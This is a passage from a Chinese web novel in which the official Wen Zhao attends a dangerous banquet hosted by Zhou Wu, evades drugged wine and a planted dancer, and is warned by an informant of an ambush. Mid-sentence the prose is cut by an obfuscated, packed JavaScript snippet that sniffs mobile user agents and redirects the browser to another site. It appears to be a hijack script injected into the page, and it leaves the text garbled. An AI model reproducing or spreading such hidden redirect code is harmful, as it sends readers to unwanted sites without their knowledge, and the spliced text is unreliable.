文照说:“老师,何公,陈公,你们有所不知,南阳周氏看似铁板一块,其实内部也是彼此明争暗斗,周淮虽贵为大司徒,可膝下并无亲子,他为保持自身族长地位,挑动各侄相争,周梧对此早已是满腹怨气。正所谓攘外必先安内,以他的性情,联合外人打压叔父,我倒也并不意外。” “原来如此。”陈潜点点头,又迷惑地问:“只是这是南阳周氏自家的私隐,长明你又是从何得知的?” 文照:“……”她总不能说是周梧某个臭弟弟嘚吧嘚吧亲口告诉自己的吧? 在并州时,文照是曾带着周棠一同去拜见过陆陵的,此刻陆陵显然也想到了这一茬,神情复杂地扫了文照一眼。 另一边何朔倒是无谓地摆了摆手,“世家大族在彼此府中多安插有眼线,这原就是寻常事,我在南阳周氏也有人手,正巧他就在周梧府中。” “哦?”文照眼前一亮,“何公请细讲。” 何朔捋了捋长须,“那人叫董胜,曾受过我些恩惠,以前我同周淮关系不错,见董胜机灵,就荐了他去周淮身边做了个长随,这么些年来时时与我通传消息,因办事得力,前些时日被周淮派去了周梧府上当了个管事,此番正好能派上用场。” “如此甚好。”陈潜边听边点头,“有个内应,若周梧真想做些手脚,长明也有个照应。” 只有陆陵仍旧满脸担忧,“长明,此宴凶险,你若不想去,为师便……” 文照说:“老师,学生想去。” 陆陵一怔,随即用力长叹了口气,“我就知道,你从来也不会畏惧艰险。” 文照笑笑,道:“老师,不入虎穴,焉得虎子。险境往往亦是机遇,我若退缩不前,又如何配当老师的弟子呢?”顿了顿,她又道:“虽然如此,咱们也需做好万全的准备……” 几人就此事细细商议许久方才敲定,文照遣人回复周梧,自己将按时赴约。 · 鸿门宴当夜,文照将自己拾掇了一番,拎着礼物骑马施施然登了太常府的大门。 那位惯常侍奉在周梧身边的侍从亲自在门口迎接,见了文照颇为客气地笑道:“文左丞,我家长公子特命我在此恭候文左丞。”说着,他的目光落在文照腰间佩刀上,讪笑一声,道:“还请文左丞将兵器卸下交与在下。” 文照下意识地按上了自己的刀,不情愿地道:“为何?周太常难道还怕我行刺不成?” 那侍从笑容不变,“这个自然不是,只是我家长公子素来不善杀伐、不喜兵戈,文左丞是翩翩君子,自然懂得客随主便的道理,必不会让在下为难。” 文照缓缓解下佩刀放在那侍从手上,皮笑肉不笑地道:“周太常手底下的果然各个是能人。” “文左丞说笑了,待宴席结束后,在下自当物归原主。”那侍从接下文照的佩刀,这才伸手为她引路,“请。” 周梧府中自然雕梁画栋、奇绝精巧,道路两边隔几步便立着一名提灯侍婢,灯火映着美人,香风阵阵,院中有丝竹悦耳,美酒与珍馐如流水,浑然便是极乐窟。 厅中有数名舞姬正在翩然起舞,周梧正倚在靠上,饮酒赏舞,瞥见文照到来,他随手一摆,那数名舞姬便停下舞步,向其盈盈一拜,随即纷纷从文照身侧飘然而去。 文照躬身行礼,“周太常,在下有礼了。” 周梧先是慵懒地伸了个懒腰,才缓缓起身,漫不经心地朝文照还了一礼,“文左丞,请坐吧。” 文照并不同他客气,在其下首处坐下。周梧笑道:“文左丞,你我虽分属今古经文学两派,可我心中素来是佩服你的,今夜你能前来,我甚是欣慰,来,请满饮此杯。” 文照也跟着假笑着附和了两句,把酒水喝进嘴里然后一扭头吐在了自己的袖子上。她此来做足了准备,特意穿了一身滚红边黑色广袖直裰,周梧似乎全然无觉,继续道:“我南阳周氏豢养的舞姬乃京中一绝,文左丞方才可瞧见了?若文左丞喜欢,我让她们再跳一支,” 文照淡笑道:“太常府中舞姬之姿甚是美妙,只是今夜太常邀我至此,恐怕不是为了赏舞的吧?” “舞要赏,正事也要谈。”周梧说着,拍了拍手,先前那队舞姬已然换了一身更为轻薄的纱衣,如月下仙子般翩翩而来,笙歌响起,美人儿随乐声起舞,跪坐在文照身旁的侍婢频频为她斟酒,甜笑道:“文左丞请用。” 她倒一杯文照喝一杯,然后大剌剌往自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12465664|127968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己衣袖上一吐,丝毫不遮掩,很是嚣张。几次下来,侍婢的笑容已然僵硬,忍不住悄悄回头望向周梧。 周梧脸色也不甚好看,他朝舞姬中最绝色丰满、柔若无骨的那一个使了个眼色,那美人儿眼神一闪,随即“哎呀”一声,似是崴了一下,娇娇弱弱地向文照怀里摔来。 文照此人,不尊老不爱幼,不怜香不惜玉,瞥见有美人儿投怀送抱,她当即敏捷地一个滚地,让开了位置,让那美人儿硬生生摔在了地上,这回是真情实感地惨叫了一声。 “哎哟,怎么了这是?”文照撑着膝盖站起身来掸了掸手,笑道:“姑娘,看来你的下盘还需再练练呐。” 那美人儿狼狈地爬起来,忐忑地瞥一眼周梧,只见周梧的面色已经铁青了。 周梧一摆手,厅中舞姬、乐师、侍婢们全都纷纷起身退下,霎时间,这灯火通处便只剩下周梧与文照两人。 周梧也不再接着装客气,冷笑一声,道:“文长明,我方才敬你酒,你为何全都吐掉?莫非是瞧不起我周梧?” “这话从何说起啊?”文照状似无辜地道:“周太常不也为了以防万一收走了我的佩刀么?在下只是客随主便嘛。” “看来你我还真是话不投机。”周梧嗤声,随即收敛神情,正经肃穆地道:“若非此次突发要事,我也不愿与你一同宴饮——先前我同你也说过了,我的叔父,当朝大司徒周淮公,他有意暗通西羌、搅乱凉州,以期从中获利。我虽不才,却也不愿见家国纷乱,只可惜人微言轻,力有不逮,因而特邀古文经学派共商大事。” 这厮演起戏来倒还真像那么回事儿,文照左手支着脑袋,冷眼旁观他卖力表演,淡声道:“如此大事,为何周太常只请我一人前来商讨?我虽是陆太尉子弟,终究年轻力弱,如何能与诸公相提并论?” “文长明,咱们明人不说暗话。”周梧面无表情地道:“你为古文经学派想了多少花活,你我彼此都心中有数。论及此道,我自问不如你,只是不知,你那许多奇思妙想究竟是从何而来?据我所知,陆太尉可没那么多新鲜手段。” 文照故作惊讶地道:“这还用问吗?自然是靠脑子想啊,我以为正常人都能想到呢。” “……”周梧竭力忍住了涌到嘴边的脏话,暗暗攥紧了杯子,就在文照以为他就要按照流程摔杯为号时,厅外忽然匆匆进来一名侍从,附在周梧耳边嘀嘀咕咕说了些什么,周梧瞬间脸色骤变,立即起身匆忙离去了。 文照:“……?” 鸿门宴进行到一半,另一个主角居然先行下班了,留下文照一人懵逼地坐在原地,犹豫着要不要干脆走了算了。 正在她纠结时,忽然听见角落里有人小声呼唤自己的姓名,文照扭头望去,看见门外一个面目平凡、神情拘谨的中年人正焦急地冲自己招手,“文君,我便是董胜!” 文照走过去,“怎么了?你如此慌张。” 董胜紧张地朝四周张望,极小声地说:“周梧原准备在酒中下毒谋害文君,见文君不肯喝酒,他又命人召集府中刀斧手意图围杀文君,我在后院放了一把火拖延时间,但也拖不了太久,请您立即随我离府!”